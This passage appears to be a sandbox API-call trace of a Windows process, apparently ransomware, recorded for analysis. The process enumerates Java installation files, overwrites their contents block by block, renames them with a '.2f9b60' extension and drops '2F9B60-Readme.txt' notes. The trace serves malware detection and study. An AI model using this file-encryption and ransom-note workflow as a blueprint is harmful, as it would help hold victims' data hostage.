DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\19a924b0.2f9b60", NtPathName=0x3661f640, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\19a924b0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0241.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x431461f0 [0243.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431461f0) returned 1 [0243.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4316da40) returned 1 [0243.180] NtQueryInformationFile (in: FileHandle=0x3268, IoStatusBlock=0x3661f6a8, FileInformation=0x3661f6b8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3661f6a8, FileInformation=0x3661f6b8) returned 0x0 [0243.180] NtSetInformationFile (FileHandle=0x3268, IoStatusBlock=0x3661f6a8, FileInformation=0x3661f6b8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0243.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af070) returned 1 [0243.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0243.420] FlushFileBuffers (hFile=0x3268) returned 1 [0243.429] CloseHandle (hObject=0x3268) returned 1 [0243.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1ced2bf0 [0243.515] wcscpy (in: _Dest=0x1ced2bf0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\" [0243.515] wcscat (in: _Dest=0x1ced2bf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\2F9B60-Readme.txt" [0243.515] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\jqs\\2f9b60-readme.txt")) returned 0xffffffff [0243.515] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\jqs\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 2072 os_tid = 0x1364 [0138.269] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy.jar")) returned 0x20 [0138.269] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar", dwFileAttributes=0x20) returned 1 [0138.270] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e9c [0138.270] GetFileSizeEx (in: hFile=0x1e9c, lpFileSize=0x338ffa60 | out: lpFileSize=0x338ffa60*=4495223) returned 1 [0138.270] SetFilePointerEx (in: hFile=0x1e9c, liDistanceToMove=0x449773, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.270] ReadFile (in: hFile=0x1e9c, lpBuffer=0x338ff9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x338ffa28, lpOverlapped=0x0 | out: lpBuffer=0x338ff9e0*, lpNumberOfBytesRead=0x338ffa28*=0x4, lpOverlapped=0x0) returned 1 [0138.273] SetFilePointerEx (in: hFile=0x1e9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a350 [0138.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0138.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0138.273] NtQuerySystemTime (in: CurrentTime=0x338ff920 | out: CurrentTime=0x338ff920*=132462177435118000) returned 0x0 [0138.273] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x411bac8f [0138.273] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x4927e5f9 [0138.273] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x2b0de70e [0138.273] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x6f6a935 [0138.273] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x24e01220 [0138.273] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x2a81a09 [0138.273] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x7bb1e2f [0138.273] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x4a844a19 [0138.273] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x30a1c6d8 [0138.273] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x6cb24261 [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x4f6dcc5c [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x9bd8640 [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x24549f3c [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x110a2efe [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x62b6749b [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x4bb73b06 [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0xd72ff7 [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x621dbc15 [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x1fe88645 [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x6cfe1ba2 [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x21fbf0ab [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x3060c51b [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x46eff1b [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x54a7324e [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x6b8f3a0b [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x7304cdeb [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0xec04e70 [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x6eeb9921 [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x28979e2f [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x2119d756 [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x3759ca0c [0138.274] RtlRandomEx (in: Seed=0x338ff910 | out: Seed=0x338ff910) returned 0x6f62c87b [0138.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a470 [0138.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060fb0 [0138.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0e0 [0138.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060fb0) returned 1 [0138.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0138.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0138.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4207e530 [0138.284] SetFilePointerEx (in: hFile=0x1e9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.284] ReadFile (in: hFile=0x1e9c, lpBuffer=0x4207e530, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x338ff980, lpOverlapped=0x0 | out: lpBuffer=0x4207e530*, lpNumberOfBytesRead=0x338ff980*=0x3c00, lpOverlapped=0x0) returned 1 [0138.286] SetFilePointerEx (in: hFile=0x1e9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0138.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060fb0 [0138.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a350 [0138.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0138.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42082140 [0138.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a350 [0138.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0138.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0138.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060fb0) returned 1 [0138.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0138.287] WriteFile (in: hFile=0x1e9c, lpBuffer=0x42082140*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x338ff980, lpOverlapped=0x0 | out: lpBuffer=0x42082140*, lpNumberOfBytesWritten=0x338ff980*=0x3c00, lpOverlapped=0x0) returned 1 [0138.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42082140) returned 1 [0138.291] SetFilePointerEx (in: hFile=0x1e9c, liDistanceToMove=0x227400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.291] ReadFile (in: hFile=0x1e9c, lpBuffer=0x4207e530, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x338ff980, lpOverlapped=0x0 | out: lpBuffer=0x4207e530*, lpNumberOfBytesRead=0x338ff980*=0x3c00, lpOverlapped=0x0) returned 1 [0138.298] SetFilePointerEx (in: hFile=0x1e9c, liDistanceToMove=0x227400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0138.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060fb0 [0138.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0138.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0138.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42082140 [0138.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0138.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0138.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0138.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060fb0) returned 1 [0138.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0138.299] WriteFile (hFile=0x1e9c, lpBuffer=0x42082140, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x338ff980, lpOverlapped=0x0) [0180.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42082140) returned 1 [0180.196] SetFilePointerEx (in: hFile=0x1e9c, liDistanceToMove=0x445b77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.197] ReadFile (in: hFile=0x1e9c, lpBuffer=0x4207e530, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x338ff980, lpOverlapped=0x0 | out: lpBuffer=0x4207e530*, lpNumberOfBytesRead=0x338ff980*=0x3c00, lpOverlapped=0x0) returned 1 [0182.168] SetFilePointerEx (in: hFile=0x1e9c, liDistanceToMove=0x445b77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f390 [0182.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f390) returned 1 [0182.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20239560 [0182.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f390 [0182.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f3c0 [0182.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f3c0) returned 1 [0182.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.171] WriteFile (in: hFile=0x1e9c, lpBuffer=0x20239560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x338ff980, lpOverlapped=0x0 | out: lpBuffer=0x20239560*, lpNumberOfBytesWritten=0x338ff980*=0x3c00, lpOverlapped=0x0) returned 1 [0182.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20239560) returned 1 [0182.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce15370 [0182.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f390) returned 1 [0182.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0182.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0182.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4207e530) returned 1 [0182.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x4205a350 [0182.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058740 [0182.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba9e0 [0182.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0182.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0182.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x4205a650 [0182.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f390 [0182.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30560 [0182.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30560) returned 1 [0182.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba9e0) returned 1 [0182.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058740) returned 1 [0182.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x146) returned 0x1cebc580 [0182.808] SetFilePointerEx (in: hFile=0x1e9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0182.808] WriteFile (in: hFile=0x1e9c, lpBuffer=0x1cebc580*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x338ffa30, lpOverlapped=0x0 | out: lpBuffer=0x1cebc580*, lpNumberOfBytesWritten=0x338ffa30*=0x146, lpOverlapped=0x0) returned 1 [0199.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0199.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6ca0 [0199.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053b20 [0199.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053b20) returned 1 [0199.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0f120 [0199.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053b20 [0199.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420539a0 [0199.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420539a0) returned 1 [0199.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6ca0) returned 1 [0199.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0199.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9eaf0 [0199.775] sprintf (in: _Dest=0x1cd9eaf0, _Format="%c%c" | out: _Dest="09") returned 2 [0199.775] sprintf (in: _Dest=0x1cd9eaf2, _Format="%c%c" | out: _Dest="fb") returned 2 [0199.775] sprintf (in: _Dest=0x1cd9eaf4, _Format="%c%c" | out: _Dest="ce") returned 2 [0199.775] sprintf (in: _Dest=0x1cd9eaf6, _Format="%c%c" | out: _Dest="75") returned 2 [0199.775] sprintf (in: _Dest=0x1cd9eaf8, _Format="%c%c" | out: _Dest="d6") returned 2 [0199.775] sprintf (in: _Dest=0x1cd9eafa, _Format="%c%c" | out: _Dest="5f") returned 2 [0199.775] sprintf (in: _Dest=0x1cd9eafc, _Format="%c%c" | out: _Dest="a3") returned 2 [0199.775] sprintf (in: _Dest=0x1cd9eafe, _Format="%c%c" | out: _Dest="bd") returned 2 [0199.775] sprintf (in: _Dest=0x1cd9eb00, _Format="%c%c" | out: _Dest="ec") returned 2 [0199.775] sprintf (in: _Dest=0x1cd9eb02, _Format="%c%c" | out: _Dest="c6") returned 2 [0199.775] sprintf (in: _Dest=0x1cd9eb04, _Format="%c%c" | out: _Dest="3e") returned 2 [0199.775] sprintf (in: _Dest=0x1cd9eb06, _Format="%c%c" | out: _Dest="62") returned 2 [0199.775] sprintf (in: _Dest=0x1cd9eb08, _Format="%c%c" | out: _Dest="5e") returned 2 [0199.775] sprintf (in: _Dest=0x1cd9eb0a, _Format="%c%c" | out: _Dest="53") returned 2 [0199.775] sprintf (in: _Dest=0x1cd9eb0c, _Format="%c%c" | out: _Dest="ab") returned 2 [0199.775] sprintf (in: _Dest=0x1cd9eb0e, _Format="%c%c" | out: _Dest="8a") returned 2 [0199.776] sprintf (in: _Dest=0x1cd9eb10, _Format="%c%c" | out: _Dest="4b") returned 2 [0199.776] sprintf (in: _Dest=0x1cd9eb12, _Format="%c%c" | out: _Dest="31") returned 2 [0199.776] sprintf (in: _Dest=0x1cd9eb14, _Format="%c%c" | out: _Dest="2d") returned 2 [0199.776] sprintf (in: _Dest=0x1cd9eb16, _Format="%c%c" | out: _Dest="de") returned 2 [0199.776] RtlInitAnsiString (in: DestinationString=0x338ffaa8, SourceString="09fbce75d65fa3bdecc63e625e53ab8a4b312dde" | out: DestinationString="09fbce75d65fa3bdecc63e625e53ab8a4b312dde") [0199.776] RtlAnsiStringToUnicodeString (in: DestinationString=0x338ffa78, SourceString="09fbce75d65fa3bdecc63e625e53ab8a4b312dde", AllocateDestinationString=1 | out: DestinationString="09fbce75d65fa3bdecc63e625e53ab8a4b312dde") returned 0x0 [0199.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858f10 [0199.776] wcscat (in: _Dest=0x1cec6ca0, _Source="09fbce75d6" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\09fbce75d6") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\09fbce75d6" [0199.776] wcscat (in: _Dest=0x1cec6ca0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\09fbce75d6.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\09fbce75d6.2f9b60" [0199.777] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\09fbce75d6.2f9b60", NtPathName=0x338ffa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\09fbce75d6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x431e3300 [0207.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e3300) returned 1 [0207.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309c450) returned 1 [0207.931] NtQueryInformationFile (in: FileHandle=0x1e9c, IoStatusBlock=0x338ffab8, FileInformation=0x338ffac8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x338ffab8, FileInformation=0x338ffac8) returned 0x0 [0207.931] NtSetInformationFile (FileHandle=0x1e9c, IoStatusBlock=0x338ffab8, FileInformation=0x338ffac8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0218.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6ca0) returned 1 [0218.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858f10) returned 1 [0218.204] FlushFileBuffers (hFile=0x1e9c) returned 1 [0221.424] CloseHandle (hObject=0x1e9c) returned 1 [0223.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86d040 [0223.029] wcscpy (in: _Dest=0x1b86d040, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0223.029] wcscat (in: _Dest=0x1b86d040, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0223.029] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0223.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86d040) returned 1 [0223.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863dc0) returned 1 Thread: id = 2073 os_tid = 0x136c [0138.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1ced63a0 [0138.290] wcscpy (in: _Dest=0x1ced63a0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0138.290] wcscat (in: _Dest=0x1ced63a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0138.290] wcscat (in: _Dest=0x1ced63a0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\*" [0138.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027c800 [0138.290] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\*", lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced6400 [0138.300] wcscmp (_String1=".", _String2=".") returned 0 [0138.300] FindNextFileW (in: hFindFile=0x1ced6400, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.300] wcscmp (_String1="..", _String2=".") returned 1 [0138.300] wcscmp (_String1="..", _String2="..") returned 0 [0138.300] FindNextFileW (in: hFindFile=0x1ced6400, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x148f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="access-bridge-32.jar", cAlternateFileName="ACCESS~1.JAR")) returned 1 [0138.300] wcscmp (_String1="access-bridge-32.jar", _String2=".") returned 1 [0138.300] wcscmp (_String1="access-bridge-32.jar", _String2="..") returned 1 [0138.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4b890 [0138.300] wcscpy (in: _Dest=0x1cf4b890, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0138.300] wcscat (in: _Dest=0x1cf4b890, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0138.300] wcscat (in: _Dest=0x1cf4b890, _Source="access-bridge-32.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\access-bridge-32.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\access-bridge-32.jar" [0151.919] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\access-bridge-32.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\access-bridge-32.jar")) returned 0x20 [0151.939] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\access-bridge-32.jar", dwFileAttributes=0x20) returned 1 [0151.940] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\access-bridge-32.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\access-bridge-32.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x25a8 